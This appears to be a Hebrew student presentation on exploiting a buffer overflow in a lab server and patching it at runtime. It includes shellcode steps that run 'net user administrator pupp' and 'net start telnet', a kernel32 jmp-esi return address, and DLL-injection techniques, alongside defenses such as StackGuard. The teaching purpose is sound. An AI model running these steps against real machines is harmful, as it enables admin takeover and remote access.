buffer overflow

61
יייייייי- יי ייי ייייי יייייי- יי

Upload: norah

Post on 11-Jan-2016

66 views

Category:

Documents


10 download

DESCRIPTION

חמי שובלי. אודי בן-פורת. מיה בן-ארי. Buffer Overflow. מה במצגת?. מה זה Buffer OverFlow תיאור פריצה לשרת באמצעות BOF תיאור טלאי התיקון ומניעת הפריצה שיטות אלטרנטיביות למימוש הטלאי שיטות למניעת BOF בזמן קומפילציה סטטיסטיקות. אז מה זה בעצם buffer overflow ?. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Buffer Overflow

חמי שובליאודי בן-פורת

מיה בן-ארי

Page 2: Buffer Overflow

מה במצגת?מה במצגת?

Buffer OverFlowBuffer OverFlowמה זה מה זה

BOFBOFתיאור פריצה לשרת באמצעות תיאור פריצה לשרת באמצעות

תיאור טלאי התיקון ומניעת הפריצהתיאור טלאי התיקון ומניעת הפריצה

שיטות אלטרנטיביות למימוש הטלאישיטות אלטרנטיביות למימוש הטלאי

בזמן קומפילציה בזמן קומפילציהBOFBOFשיטות למניעת שיטות למניעת

סטטיסטיקותסטטיסטיקות

Page 3: Buffer Overflow

bufferbuffer כאשר מנסים להכניס איברים לתוך כאשר מנסים להכניס איברים לתוך יותר מאשר הוא יכול להכיל.יותר מאשר הוא יכול להכיל.

כתוצאה מכך נדרסת חלק מהאינפורמציהכתוצאה מכך נדרסת חלק מהאינפורמציהבמקומות סמוכים בתוכנית.במקומות סמוכים בתוכנית.

Buffer overflowBuffer overflow יכול להתרחש ב יכול להתרחש ב cc ע"י פקודות ע"י פקודות strcpy, strcat, getsstrcpy, strcat, getsכגון : כגון :

אשר מבצעות פעולה על קלט, מבלי לבדוק את אשר מבצעות פעולה על קלט, מבלי לבדוק את הגבולות שלו.הגבולות שלו.

??buffer overflowbuffer overflow אז מה זה בעצם אז מה זה בעצם

Page 4: Buffer Overflow

הפרוייקטהפרוייקט

לפרוץ ממחשב מרוחק לשרת ולהשיג חלון לפרוץ ממחשב מרוחק לשרת ולהשיג חלון telnettelnet שבו נפעל עם הרשאות של שבו נפעל עם הרשאות של

administratoradministrator באמצעות באמצעות Buffer OverflowBuffer Overflow

שיתקן בזמן ריצה את בעיית שיתקן בזמן ריצה את בעיית PatchPatchלכתוב לכתוב האבטחה בתוכנת השרת בזמן ריצההאבטחה בתוכנת השרת בזמן ריצה

חלקים: חלקים:22בפרוייקט בפרוייקט

Page 5: Buffer Overflow

אז מהי התוכנית?אז מהי התוכנית?

Server.exeServer.exe

תוכנית זו רצה על השרת, ומכילה באג.תוכנית זו רצה על השרת, ומכילה באג.

socketsocketהתוכנית תקבל קלט ממחשב מרוחק דרך התוכנית תקבל קלט ממחשב מרוחק דרך תקשורת סטנדרטי.תקשורת סטנדרטי.

תוכנית על מחשב הלקוח, שמתחברת לתוכנית שעל תוכנית על מחשב הלקוח, שמתחברת לתוכנית שעל ..socketsocketהשרת ונותנת לה קלט דרך ה השרת ונותנת לה קלט דרך ה

, , socketsocketהשרת קורא קלט מהלקוח דרך ה - השרת קורא קלט מהלקוח דרך ה - ..bufferbufferומכניס אותו לתוך ה ומכניס אותו לתוך ה

strcpystrcpyהשרת עובר לפונקציה בה מתבצעת הפקודה השרת עובר לפונקציה בה מתבצעת הפקודה למערך המוגדר בשרת,למערך המוגדר בשרת,

מבלי לבדוק את גבולות הקלט שנקלט )וזהו ה מבלי לבדוק את גבולות הקלט שנקלט )וזהו ה BUGBUG.).)

Page 6: Buffer Overflow

Bad_client.exeBad_client.exe

מנצל את הבאג המוגדר בשרת ושולח קלט ארוך מנצל את הבאג המוגדר בשרת ושולח קלט ארוך המוגדר בשרת. המוגדר בשרת.bufferbufferמגודל ה מגודל ה

הקלט הארוך גורם לדריסת הכתובת חזרה הקלט הארוך גורם לדריסת הכתובת חזרה מהפונקציה ומעבר לקוד אשר מבצע :מהפונקציה ומעבר לקוד אשר מבצע :

שינוי סיסמת אדמיניסטראטור במחשב המרוחק.שינוי סיסמת אדמיניסטראטור במחשב המרוחק.

בשרת. בשרת.telnettelnetהעלאת שירות העלאת שירות

..telnettelnetלאחר מכן הלקוח מתחבר לשרת ע"י ה לאחר מכן הלקוח מתחבר לשרת ע"י ה

Page 7: Buffer Overflow

Bad client server

Buffer

recv( m_socket, recvbuf, 1000, 0 );

recvbuf : Buffer revieved from the client

Size : 1000

copyBuf(recvbuf);

copyBuf(char *arr){

myArr[500]; strcpy(myArr,arr);

}

myArr : a local variable in the server

Size : 500

main {

}

Oops…

recvbuf[1000];

Page 8: Buffer Overflow

שלב א' - שלב א' - מציאת מקום הדריסה של הכתובת חזרה מציאת מקום הדריסה של הכתובת חזרה

נזהה את המקום בתוכנית המרוחקת שבו הקלט נזהה את המקום בתוכנית המרוחקת שבו הקלט של הפונקציה של הפונקציה return addressreturn address הארוך דורס את ה הארוך דורס את ה

ומסמנת את ומסמנת את EIPEIP כתובת מוצבעת ע"י ה כתובת מוצבעת ע"י ה הפקודה הבאה בחזרה מהפונקציה. הפקודה הבאה בחזרה מהפונקציה.

כיצד נמצא כתובת זו ? כיצד נמצא כתובת זו ? ע"י מתן קלט ארוך לתוכנית - הבנוי מרצף ע"י מתן קלט ארוך לתוכנית - הבנוי מרצף

……aaabbbccccddddeaaabbbccccdddde של אותיות לדוגמא : של אותיות לדוגמא : על מנת שנוכל לדעת בוודאות מתי הקלט דורס על מנת שנוכל לדעת בוודאות מתי הקלט דורס

מצביע זה. מצביע זה.

??exploitexploitכיצד נכתוב את ה כיצד נכתוב את ה שהלקוח שולח לשרת) שהלקוח שולח לשרת)bufferbuffer (כלומר את ה (כלומר את ה

Page 9: Buffer Overflow

” ” aaa..aaaaaa..aaa שאנו שולחים לשרת רצף של “. שאנו שולחים לשרת רצף של “.bufferbuffer אם נכניס כקלט ל אם נכניס כקלט ל ) ) asciiascii בקוד בקוד aa = = 6161ים (ים (--aaמספיק ארוך, אזי ה מספיק ארוך, אזי ה

ידרסו את הכתובת חזרה.ידרסו את הכתובת חזרה.

דוגמא : דוגמא :

abcdכעת ננסה להכניס, רצף של אותיות, לדוגמא כאן האותיות (a=61,b=62, c=63, d=64) דורסות את הכתובת החזרה של

השגרה.וכך נוכל לגלות איפה בפועל מתבצעת הדריסה.

Page 10: Buffer Overflow

לאחר שזיהינו את המקום שבו אנו דורסים. נצטרך למצוא כתובת – קרובה לכתובת של התוכנית ,

שבה נוכל לשתול את הקוד שלנו, יצביע בחזרה מהפונקציה. eip ולשם נרצה שה

אפשרות נוספת : buffer להכניס הקוד שלנו לתוך ה

).bufferכתלות באורך ה (

שלב ב' – מציאת הכתובת לקפיצהשלב ב' – מציאת הכתובת לקפיצה

Page 11: Buffer Overflow

בעיה :

אז לאיפה בעצם קופצים

Page 12: Buffer Overflow

Bad client server

Buffer 0x001F3A80

0x0012F59C

Buffer recieved

O1...500 – 503 : eip דריסת ה

0x77E64167 jmp esi

Kernel32.dll

esi 0x0012F5A8

0x77E64167

EVIL CODE

0x001F3A80

0x0012F59C

Page 13: Buffer Overflow

בעיה : אז לאיפה בעצם קופצים?

ולהכניס אליו כתובת חדשה , eip נרצה לדרוס את ה שלנו, שאליה נקפוץ על מנת bufferהנמצאת בתוך ה

שיבוצע את הקוד שכתבנו.

אשר מצביע למקום register הפתרון שמצאנו לעניין הוא לחפש הנמצא בתחומי הכתובות שאנו יכולים לדרוס, ואל רגיסטר זה נקפוץ.

0x0012f5a8 אשר מצביע לכתובת esi למזלנו, נמצא רגיסטר כזה :

server לצערנו, תווך הכתובות של המערך ב buffer overflowשלו אנו רוצים ליצור את ה

0x0012f3a8 –0x0012f59cהינו : 00x0 (=null)כיוון שכל כתובת הנמצאת במערך מכילה את התו

, char המוגדר כמערך של buffer להכניס תו זה ל לא ניתן, sendכיוון שבשליחה, תו זה יסיים את פקודת ה

וכל התווים שאחריו לא ישלחו.

Page 14: Buffer Overflow

? ) esi כיצד נקפוץ לרגיסטר זה (

, jmp esi ( opcode : FF F6) על מנת לבצע את הפקודה כתובת של פקודה, יש לדחוף לבאפר, במקום הדריסה

הנמצאת בזיכרון של התכנית שכתבנו, המבצע את הפקודה הנ"ל.

טוען - server ים אשר ה dll נחפש ב שורה אשר בה תופיע הפקודה הנ"ל.

. תופיע ללא אפסיםdllכאשר כתובת של הפקודה ב kernel32.dllשורה כזאת נמצאה בתוך ה

בזיכרון –base address נטען תמיד לאותה dll כיוון שה נוסיף לה את הכתובת של הפקודה הנ"ל שמצאנו –

על מנת למצוא קירוב של הכתובת אליה אנו רוצים למצוא

כיצד נמצא פקודה כזאת?

Page 15: Buffer Overflow

bufferbufferבניית ה בניית ה שלב ג' –שלב ג' –

יכיל את הקוד הרע.bufferה נכניסbufferלתוך ה

opcodes של פקודות אסמבלי אשר

יבנו בזמן ריצה מחסנית, וכן יקראו לפונקציות.

Page 16: Buffer Overflow

כיצד נבנה מחסנית זו ?כיצד נבנה מחסנית זו ?

א. על מנת לדעת כיצד נראית מחסנית אשר מבצעת Cנבנה תוכנית רגילה ב אנו

את הפקודות של:

system(“set user administrator pupp”);

שינוי סיסמא

telnetהפעלת system(“net start telnet”);

נקמפל את התכנית ונריץ אותה. בזמן הדיבאג – נבדוק את המחסנית של התכנית,

ומהם הם האיברים הקיימים בה.

Page 17: Buffer Overflow

ב. יצירת קוד אסמבלי לבניית המחסנית

לאחר שגילינו מה אנו צריכים להכניס במחסנית שאנו רוצים ליצור –

נכתוב קוד אסמבלי .בקוד זה, נבנה את המחסנית שלנו.

דוגמא:

Page 18: Buffer Overflow

ebpesp, ebp

mov ebp esp

push ebp

איך נבנה את המחסנית איך נבנה את המחסנית שלנו?שלנו?

Page 19: Buffer Overflow

ebp

ebp

xor edi, edi

push edi

/0

Way of Creating null…

Page 20: Buffer Overflow

ebp

ebp

Sub esp 18h

mov byte ptr[ebp-1Ch],6Eh (=n)

mov byte ptr[ebp-1Bh],65h (=e)

mov byte ptr[ebp-1Ah],74h (=t)

/0

net

esp

-Making room in the stack for our string:

“net user administrator pupp”

- entering the string into the stack

Page 21: Buffer Overflow

ebp

ebp /0

net useradministrator

pupp

/0

net starttelnet

esp

-Making room in the stack for our string:

“net start telnet”

- entering the string into the stack

Page 22: Buffer Overflow

ebp

ebp /0

net useradministrator

pupp

/0

net starttelnet

esp

Mov eax, 0x77bb8c10

Push eax

Address of System function

Pushing theaddress of the function

“system” on XP

Page 23: Buffer Overflow

ebp

ebp /0

net useradministrator

pupp

/0

net starttelnet

esp

lea edx, [ebp-1Ch]

push edx

Address of System function

loading the “n” of the “net user administrator pupp”

edx

Page 24: Buffer Overflow

ebp

ebp /0

net useradministrator

pupp

/0

net starttelnet

esp

call dward ptr [ebp-34h]

Address of System function calling the system function

edx

Page 25: Buffer Overflow

ebp

ebp /0

net useradministrator

pupp

/0

net starttelnet

esp

add esp, 4

lea edx, [ebp-30h]

push edx call dward ptr [ebp-34h]

Address of System function

The same with the second string :

loading the “n” of the

“net start telnet”

calling the system function

edx

Page 26: Buffer Overflow

אשר :Cג. נבנה תוכנית ב

#include <windows.h>#include <winbase.h>void main()}

LoadLibrary("msvcrt.dll“);__asm}

push ebp mov ebp,esp ….{

{

assembly מריצה את הקוד שכתבנו ב } …asm } our codeי הפקודה __" ע

נקמפל תכנית זאת ונריץ אותה

נוכל לראות ctrl F11 לתוכנית זו ( (debug כאשר נעשה . עבור הקטע הקוד שכתבנוopcodes את ה הרע.buffer האלו, נכניס לתוך את ה opcodes את ה

ים הרצויים במידת הצורך.DLL טוענת את ה

Page 27: Buffer Overflow

הדגמת ריצההדגמת ריצה

Page 28: Buffer Overflow

חלק ב' – תיקון החור באבטחת חלק ב' – תיקון החור באבטחת השרתהשרת

בזמן ריצה בזמן ריצהpatchpatchהתיקון יתבצע באמצעות התיקון יתבצע באמצעות את את serverserver ישתול במרחב הזיכרון של ה ישתול במרחב הזיכרון של הpatchpatchהה

שיגרת התיקון שלנו שיגרת התיקון שלנו שתילת הקוד יכולה להתבצע בכמה דרכים, אנו שתילת הקוד יכולה להתבצע בכמה דרכים, אנו

ביצענו זאת בשתי דרכים ביצענו זאת בשתי דרכים בחלונות. בחלונות. hookshooksבעזרת מנגנון הבעזרת מנגנון ה

CreateRemoteThreadCreateRemoteThreadבאמצעות באמצעות

strcpystrcpyשיגרת התיקון תחליף את הקריאה הבעייתית לשיגרת התיקון תחליף את הקריאה הבעייתית לבקריאה לשיגרה אחרת שלנו (גם היא באותו מרחב בקריאה לשיגרה אחרת שלנו (גם היא באותו מרחב

( שתבדוק את הקלט ( שתבדוק את הקלט CheckProcCheckProcזכרון כמובן, להלן זכרון כמובן, להלן לפני ביצועה לפני ביצועהstrcpystrcpyשל של

Page 29: Buffer Overflow

מבנה הקבצים והשגרותמבנה הקבצים והשגרות

server.exeserver.exegood_client.exe / bad_client.exegood_client.exe / bad_client.exe

Patch.exePatch.exe טוען את – טוען את – fix.dllfix.dll או ( או ( fix2.dllfix2.dll לתהליך ה ) לתהליך ה ) server.exeserver.exeבזמן ריצה בזמן ריצה HooksHooks בגרסת ה בגרסת ה

fix.dllfix.dll CheckProcCheckProc בעלת חתימה זהה ל – בעלת חתימה זהה ל – strcpystrcpy בודקת גבולות ואם תקין . בודקת גבולות ואם תקין .

..strcpystrcpyקוראת ל קוראת ל HookProcHookProc נקראת בטעינת – נקראת בטעינת – fix.dllfix.dll ע"י ה( ע"י ה( HookHook ומחליפה בתהליך ה ) ומחליפה בתהליך ה )

serverserverאת הקריאה ל את הקריאה ל strcpystrcpy בקריאה ל בקריאה ל CheckProcCheckProc

CreateRemoteThreadCreateRemoteThreadבגרסת ה בגרסת ה fix2.dllfix2.dll

CheckProcCheckProc.כנ"ל. – כנ"ל – dllMaindllMain נקראת בטעינת – נקראת בטעינת – fix2.dllfix2.dll ע"י( ע"י( CreateRemoteThreadCreateRemoteThread ומבצעת ) ומבצעת )

הנ"ל.הנ"ל.

Page 30: Buffer Overflow

Hooks Hooks )Win OS()Win OS(

בחלונות נותן יכולות מאוד חזקות בחלונות נותן יכולות מאוד חזקותhookshooksמנגנון ה-מנגנון ה-

מאפשר ליירט ולעקוב אחר אירועים שקורים בתהליך מאפשר ליירט ולעקוב אחר אירועים שקורים בתהליך שלנו וגם בתהליכים אחרים, לפני שהם קוריםשלנו וגם בתהליכים אחרים, לפני שהם קורים

“ “ hookinghooking לתהליך נעשה ע"י העברה למערכת ” לתהליך נעשה ע"י העברה למערכת ” בו בו dlldllההפעלה מידע על תהליך,סוג אירוע, פונקציה, ו ההפעלה מידע על תהליך,סוג אירוע, פונקציה, ו

היא נמצאת.היא נמצאת.

כשסוג האירוע שציינו עומד להתרחש בתהליך שציינו כשסוג האירוע שציינו עומד להתרחש בתהליך שציינו שלנו למרחב שלנו למרחב dlldllמערכת ההפעלה טוענת את ה מערכת ההפעלה טוענת את ה

הזיכרון של התהליך ומפעילה את הפונ' שציינו.הזיכרון של התהליך ומפעילה את הפונ' שציינו.

Page 31: Buffer Overflow

Hooks Hooks )Win OS()Win OS(

WH_CBTWH_CBT– – סוג האירוע, הקבוע הספציפי הזה מתייחס למספר רב של אירועים. סוג האירוע, הקבוע הספציפי הזה מתייחס למספר רב של אירועים.

בין היתר, יצירה/שינוי של חלון מסוים בתהליך היעד.בין היתר, יצירה/שינוי של חלון מסוים בתהליך היעד.

hFixDllhFixDll– – ) ) SetSet (שטעון בתהליך שקורא ל (שטעון בתהליך שקורא ל dlldllמצביע ל מצביע ל

שיטען בתהליך שבו יקרה הארוע.שיטען בתהליך שבו יקרה הארוע.

addrHookProcaddrHookProc– – של הפונקציה שתקרא כשהאירוע יקרה של הפונקציה שתקרא כשהאירוע יקרהdlldllהכתובת ב-הכתובת ב-

00– – יתבצע לכל התהליכים שפועלים במערכת יתבצע לכל התהליכים שפועלים במערכת hookhookהה

) )serverserver(את התיקון הפונ' שלנו תבצע רק בתהליך שהיא תזהה אותו כ(את התיקון הפונ' שלנו תבצע רק בתהליך שהיא תזהה אותו כ

SetWindowsHookEx(WH_CBT, addrHookProc,hFixDll,0)SetWindowsHookEx(WH_CBT, addrHookProc,hFixDll,0)

Page 32: Buffer Overflow

אז איך זה עובד...אז איך זה עובד...Patch.exePatch.exe Server.exeServer.exe

WindowsWindowsFix.dllFix.dll

server. מעלים את ה 12 .Server פותחMessageBox

לאישור הפעלתו. משתמש ביצע פעולה על 6

.Message Boxה

hook עולה ומגדיר את ה patch. ה3 שהתיקון server מהeventומחכה ל

בו אכן בוצע

ומסייםUnhook מבצע patch. ה 9

. כל תהליך שעומד לקרות בו אירוע 4 שהגדרנו יטען את hookהמתאים ל

.dllה 7 .hook תופס את אירוע ה server ,

למרחב dllוהוא טוען את ה serverהכתובות של ה

8 .hookProc מופעלת על ה server,מבצעת שינויים הדרושים במרחב

)"התיקון"( ושולחת serverהזיכרון של event ל patch שהתיקון ב server בוצע.

5 .hookProc עשויה לפעול על תהליכים

ולא תעשה כלום.server שהם אינם ה

Page 33: Buffer Overflow

תיאור התיקון תיאור התיקוןתכנון:תכנון:

עם עם fix.dllfix.dll שיושבת ב שיושבת ב CheckProcCheckProc. כתיבת פונקציה . כתיבת פונקציה 11 שבודקת שמחרוזת הקלט לא שבודקת שמחרוזת הקלט לא strcpystrcpyחתימה זהה ל חתימה זהה ל

. . strcpystrcpy וקוראת בסיומה ל וקוראת בסיומה ל bufferbufferחורגת מגודל ה חורגת מגודל ה )אחרת מדפיסה הודעת אזהרה ומסיימת את )אחרת מדפיסה הודעת אזהרה ומסיימת את

התהליך(התהליך( את הכתובת )קבועה( את הכתובת )קבועה( debuggerdebugger. מוצאים בעזרת ה . מוצאים בעזרת ה 22

..call strcpycall strcpyשבה רשומה הפקודה שבה רשומה הפקודה ( ( map, DropBinmap, DropBin )או )או getProcAddressgetProcAddress. מוצאים ע"י . מוצאים ע"י 33

. )תלוי מה . )תלוי מה dlldllאת הכתובות של פונקציות ובסיס האת הכתובות של פונקציות ובסיס הבוחרים לבצע בהמשך(בוחרים לבצע בהמשך(

call call. מחשבים את תרגום הפקודה החדשה . מחשבים את תרגום הפקודה החדשה 44CheckProcCheckProc.להקסא. להקסא

Page 34: Buffer Overflow

תיאור התיקון - המשךתיאור התיקון - המשך

בזמן ריצה:בזמן ריצה:

במרחב במרחב HookProcHookProcתזכורת: אנו נמצאים ב תזכורת: אנו נמצאים ב ..serverserverהזיכרון של הזיכרון של

. משנים הרשאות לכתיבה לצורך שינוי הכתובת . משנים הרשאות לכתיבה לצורך שינוי הכתובת 11((VirtualProtectVirtualProtectהמיועדת )המיועדת )

..call checkProccall checkProc. כותבים לכתובת את הפקודה . כותבים לכתובת את הפקודה 22

. מחזירים הרשאות למצב הקודם. . מחזירים הרשאות למצב הקודם. 33((VirtualProtectVirtualProtect))

Page 35: Buffer Overflow

Demo – CodeDemo – Codeusing Hooksusing Hooks

Page 36: Buffer Overflow

: שתילת קוד באמצעות : שתילת קוד באמצעות 22 שיטה שיטה CreateRemoteThreadCreateRemoteThread

קיימות די הרבה פונקציות המאפשרות לתהליך לטפל בתהליך אחר, 1. .Debugרובם מיועדות לכלי

שלנוdll עם ה LoadLibraryהרעיון: לגרום לחוט בתהליך אחר לקרוא ל 2. HookProc שתהיה דומה ל dllMain נטען הוא מריץ פונקציה dllוכאשר

ממקודם.

אנו שולטים גם בקוד שהחוט מבצע.CreateRemoteThreadבעזרת 3.

מריץ מספיק CreateRemoteThread והפונקציה ש LoadLibraryלמזלנו, 4.WINAPIדומות. - - בחתימה שלהם ובקונבנצית

HINSTANCE LoadLibrary(PCTSTR pszLibFile) DWORD WINAPI ThreadFunc(PVOID pvParam)

לכן, בעיקרון, היינו רוצים לבצע את הקוד הבא5.

CreateRemoteThread(hProcessRemote,NULL,0,LoadLibraryA, “c:\\fix.dll” ,0,NULL)

אבל...

Page 37: Buffer Overflow

: שתילת קוד באמצעות : שתילת קוד באמצעות 22 שיטה שיטה CreateRemoteThreadCreateRemoteThreadהמשך - המשך -

נצטרך להשתמש ב:LoadLibraryAא. כדי לקבל את הכתובת האמיתית של נטען לאותה הכתובת)kernel32(בהנחה, נכונה בדר"כ, שגם בתהליך המרוחק

GetProcAdress(GetModulteHandle(“kernel32”,”LoadLibraryA”));

”’ , בזמן הקריאה, נמצאת בתהליך שלנו ולכן בתהליך c:\\fix.dllב. המחרוזת “ הפרמטר חייב להימצא LoadLibraryA(“c:\\fix.dll”)המרוחק בזמן הקריאה ל במרחב זיכרון שלו כמובן.

נכתוב לתוכו את VirtualAllocהפיתרון: נקצה זיכרון בתהליך המרוחק בעזרת המחרוזת, ונעביר אותו במקום המחרוזת שבתהליך שלנו.

לסיכום:

Page 38: Buffer Overflow

: שתילת קוד באמצעות : שתילת קוד באמצעות 22 שיטה שיטה CreateRemoteThreadCreateRemoteThreadסיכום - סיכום -

מאתרים את התהליך המרוחק1.

VirtualAllocExמקצים זיכרון בתהליך המרוחק באמצעות 2.

WriteProcessMemory באמצעות dll של ה pathכותבים לזיכרון הנ"ל את 3.

)Unicode ב LoadLibraryW ( או LoadLibraryAמשיגים את הכתובת של 4.

שתיצור חוט חדש במרחב זיכרון של התהליך CreateRemoteThreadקוראים ל 5.2,3 עם הפרמטר שהקצנו בשלבים LoadLibraryAהמרוחק ותקרא ל

נקראת בתהליך המרוחק ומתבצע ה"תיקון"dllMainבשלב זה 6.DllMain דומה ל HookProc: למעט

חתימה שונה1.

אלא את התיקון נטו!Hooksלא מבצעת את כל מה שקשור ל 2.

WaitForSingleObjectמחכים שהביצוע יסתיים באמצעות 7.

משחררים זכרון וסוגרים הכל.8.

Page 39: Buffer Overflow

Demo – CodeDemo – Codeusing using

CreateRemoteThreadCreateRemoteThread

Page 40: Buffer Overflow

ServerServer ל לDllDll דרכים נוספות להחדרת דרכים נוספות להחדרת

::dlldll דרכים להזריק דרכים להזריק

בחלונות בחלונותhookshooks. באמצעות מנגנון ה-. באמצעות מנגנון ה-11

CreateRemoteThreadCreateRemoteThread. בעזרת . בעזרת 22

registryregistry. באמצעות ה. באמצעות ה33

44 . .dlldllטרויאני טרויאני

9898. מרחב הכתובות המשותף בחלונות . מרחב הכתובות המשותף בחלונות 55

Page 41: Buffer Overflow

RegistryRegistry באמצעות ה- באמצעות ה-DllDllשתילת שתילת

-ים -ים dlldllמערכת ההפעלה טוענת את כל המערכת ההפעלה טוענת את כל ה עבור כל תוכנית שטוענת עבור כל תוכנית שטוענת registryregistryשרשומים בשרשומים ב

. .registryregistry ל לdlldll . נוסיף את ה- . נוסיף את ה-User32.dllUser32.dllאת את

מדוע לא השתמשנו בדרך זו:מדוע לא השתמשנו בדרך זו:dlldll ל לunmapunmap אין אפשרות לעשות אין אפשרות לעשות

User32.dllUser32.dll טוענות את טוענות את GUIGUI בד"כ רק תוכניות בד"כ רק תוכניות וסביר להניח שתוכנת שרת אינה כזאת וסביר להניח שתוכנת שרת אינה כזאת

Page 42: Buffer Overflow

טרויאני טרויאניDllDll שתילת שתילת

dlldll-ים שהתוכנית טוענת ב--ים שהתוכנית טוענת ב-dlldllהחלפת אחד ה החלפת אחד ה שלנושלנו

בעיות:בעיות: שלנו שלנו dlldllבעדכון השרת לגירסה חדשה ידרס ה-בעדכון השרת לגירסה חדשה ידרס ה-

ויוחלף באחר או שהשרת יחפש פונ' חדשות שלא ויוחלף באחר או שהשרת יחפש פונ' חדשות שלא שלנו שלנוdlldllקיימות ב-קיימות ב-

Page 43: Buffer Overflow

ממפה למרחב הזיכרון שלו את קובץ ממפה למרחב הזיכרון שלו את קובץ patchpatchה-ה-..dlldllה-ה-

את הכתובת אליה את הכתובת אליה debuggerdebuggerמאתרים בעזרת מאתרים בעזרת dlldllממופה ה-ממופה ה-

כל התהליכים חולקים את אותו כל התהליכים חולקים את אותו 9898בחלונות בחלונות 2GB2GBמרחב כתובות מעל מרחב כתובות מעל

שמיפינו וכעת שמיפינו וכעת dlldll ל- ל-MapViewOfFileMapViewOfFileעושיםעושים נגיש מכל תהליך שרץ נגיש מכל תהליך שרץ dlldllה-ה-

9898 בחלונות בחלונות DllDllשתילת שתילת

Page 44: Buffer Overflow

((22 ) )9898 בחלונות בחלונות DllDllשתילת שתילת

חסרונות:חסרונות:

פתרון שרץ רק על מערכת הפעלה ספציפיתפתרון שרץ רק על מערכת הפעלה ספציפית1.1.

אין מנגנון שמפעיל את אין מנגנון שמפעיל את DllDllבנוסף לטעינת ה-בנוסף לטעינת ה-2.2.שיגרת התיקוןשיגרת התיקון

CreateRemoteThreadCreateRemoteThreadהיה אפשר לקרוא ל-היה אפשר לקרוא ל-כדי ליצור בתהליך השרת פתיל שיפעיל את כדי ליצור בתהליך השרת פתיל שיפעיל את

לא תומכת ב- לא תומכת ב- Win98Win98 אך אך dlldllשגרת התיקון ב-שגרת התיקון ב-CreateRemoteThreadCreateRemoteThread

Page 45: Buffer Overflow

בזמן קומפילציה בזמן קומפילציהBOFBOFמניעת מניעת

– מניעת הרצת קוד מהמחסנית – מניעת הרצת קוד מהמחסנית11

Stuck GuardStuck Guard – זיהוי הדריסה – זיהוי הדריסה 22

Stack Stack – גיבוי כתובת החזרה – גיבוי כתובת החזרה 33ShieldShield

Page 46: Buffer Overflow

11פתרונות אלטרנטיביים פתרונות אלטרנטיביים

תזכורת:תזכורת:

כדי כדי VirtualProtectVirtualProtect שלנו משתמש ב שלנו משתמש ב patchpatchה-ה- strcpystrcpyלאפשר את שינוי כתובת הקפיצה ל-לאפשר את שינוי כתובת הקפיצה ל-

שטענו שטענוdlldllלכתובת שגרת התיקון שיושבת ב-לכתובת שגרת התיקון שיושבת ב-

הבעיה:הבעיה:

של התוכנית )שם של התוכנית )שם TEXTTEXTכאשר מרחב הכאשר מרחב המאוחסנות שורות הקוד( מוגן כמו שראינו מאוחסנות שורות הקוד( מוגן כמו שראינו

לא ניתן לא ניתן לא ניתן לא ניתן WatchDogWatchDogבפרויקט ה בפרויקט ה VirtualProtectVirtualProtectלהשתמש ב- להשתמש ב-

Page 47: Buffer Overflow

)המשך( )המשך(11פתרונות אלטרנטיביים פתרונות אלטרנטיביים

הפתרון:הפתרון:

בעת כתיבת קוד המכונה: בעת כתיבת קוד המכונה:

)פקודה הקופצת לשגרה )פקודה הקופצת לשגרה retretלפני כל פקודת לפני כל פקודת הקוראת( נוסיף שורות קוד שיבדקו שהערך הקוראת( נוסיף שורות קוד שיבדקו שהערך

– הרגיסטר ששומר את הכתובת – הרגיסטר ששומר את הכתובת espespב-ב-שנקפוץ אליה – מכיל ערך שאינו במרחב שנקפוץ אליה – מכיל ערך שאינו במרחב

..stackstackהכתובות של ההכתובות של ה

Page 48: Buffer Overflow

בזמן קומפילציה בזמן קומפילציהBOFBOFמניעת מניעת

– מניעת הרצת קוד מהמחסנית – מניעת הרצת קוד מהמחסנית11

Stack ShieldStack Shieldגיבוי כתובת החזרה גיבוי כתובת החזרה – –22

Stuck GuardStuck Guardזיהוי הדריסה זיהוי הדריסה – – 33

Page 49: Buffer Overflow

22פתרונות אלטרנטיביים - פתרונות אלטרנטיביים -

Stack ShieldStack Shieldהקומפיילר יוסיף לכל פונקציה פרולוג ואפילוג:הקומפיילר יוסיף לכל פונקציה פרולוג ואפילוג:

בפרולוג:בפרולוג:

נשמור את כתובת החזרה בטבלה מיוחדת בזיכרון נשמור את כתובת החזרה בטבלה מיוחדת בזיכרון

באפילוג:באפילוג:

נטען בחזרה את כתובת החזרה מהטבלה, ונכתוב נטען בחזרה את כתובת החזרה מהטבלה, ונכתוב BOFBOFאותה מחדש במחסנית, כך שגם אם היה אותה מחדש במחסנית, כך שגם אם היה

עדיין זרימת התוכנית תהיה נכונהעדיין זרימת התוכנית תהיה נכונה

או לא או לאBOFBOF שיטה זו לא מזהה אם התרחש שיטה זו לא מזהה אם התרחש בעיה:בעיה:

Page 50: Buffer Overflow

בזמן קומפילציה בזמן קומפילציהBOFBOFמניעת מניעת

– מניעת הרצת קוד מהמחסנית – מניעת הרצת קוד מהמחסנית11

Stack Stackגיבוי כתובת החזרה גיבוי כתובת החזרה – – 22ShieldShield

Stuck GuardStuck Guardזיהוי הדריסה זיהוי הדריסה – – 33

Page 51: Buffer Overflow

)המשך( )המשך(33פתרונות אלטרנטיביים פתרונות אלטרנטיביים

S1S1 מחרוזות כקלט: מחרוזות כקלט: 22נניח יש לנו פונ' שמקבלת נניח יש לנו פונ' שמקבלת ואת ואת p1p1 לתוך לתוך strcpystrcpy מעתיקה עם מעתיקה עם S1S1. את . את S2S2ו-ו-

S2S2 מעתיקה )אפילו העתקה בטוחה( לתוך מעתיקה )אפילו העתקה בטוחה( לתוך p2p2 . .

בעיה -ניתן לפרוץ לתוכנית כזו בדרך הבאה:בעיה -ניתן לפרוץ לתוכנית כזו בדרך הבאה:S1S1 תהיה תהיה BOFBOF שידרוס את שידרוס את p2p2 אך לא את כתובת אך לא את כתובת

p2p2החזרה ולא את הכנרית. הערך שנכתוב ב-החזרה ולא את הכנרית. הערך שנכתוב ב-יהיה הכתובת בזיכרון בה נמצאת כתובת החזרה.יהיה הכתובת בזיכרון בה נמצאת כתובת החזרה.

תהיה הכתובת אליה אנו רוצים לקפוץ, וכך תהיה הכתובת אליה אנו רוצים לקפוץ, וכך S2S2ב-ב-פעולת ההעתקה השניה תדרוס את כתובת פעולת ההעתקה השניה תדרוס את כתובת

החזרה מבלי לדרוס את הכנרית!החזרה מבלי לדרוס את הכנרית!

Page 52: Buffer Overflow

33פתרונות אלטרנטיביים -פתרונות אלטרנטיביים -

Stack Guard

Page 53: Buffer Overflow

)המשך( )המשך(33פתרונות אלטרנטיביים פתרונות אלטרנטיביים

""canarycanaryאחרי כתובת החזרה נאחסן מילה מיוחדת - "אחרי כתובת החזרה נאחסן מילה מיוחדת - "

